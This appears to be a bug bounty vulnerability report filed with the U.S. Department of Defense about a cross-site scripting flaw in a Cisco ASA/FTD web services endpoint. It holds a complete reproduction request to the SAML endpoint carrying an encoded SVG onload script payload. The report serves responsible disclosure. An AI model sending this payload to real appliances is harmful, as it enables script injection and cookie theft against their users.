U.S. Dept Of Defense · Report #2233421
XSS in Cisco Endpoint
How it was found
Description: Multiple vulnerabilities in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct cross-site scripting (XSS) attacks against a user of the web services interface of an affected device. The vulnerabilities are due to insufficient validation of user-supplied input by the web services interface of an affected device. An attacker could exploit these vulnerabilities by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the interface or allow the attacker to access sensitive, browser-based information. Note: These vulnerabilities affect only specific AnyConnect and WebVPN configurations. For more information, see the Vulnerable Products section.
References
Impact
With this vulnerability, an attacker can steal users cookies, redirect users to a malicious website, or execute arbitrary javascript.
System Host(s)
███
Affected Product(s) and Version(s)
CVE Numbers
CVE-2023-3580
Steps to Reproduce
1.) Perform the following post request.
POST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1 Host: ███████ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Connection: close Hackerone: R00tdaddy Content-Length: 72 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate, br
SAMLResponse=%22%3E%3Csvg/onload=alert(/2XUkWJ29OE88uyTbdZ3a2UmA828/)%3E
SAML Response pops up in the browser.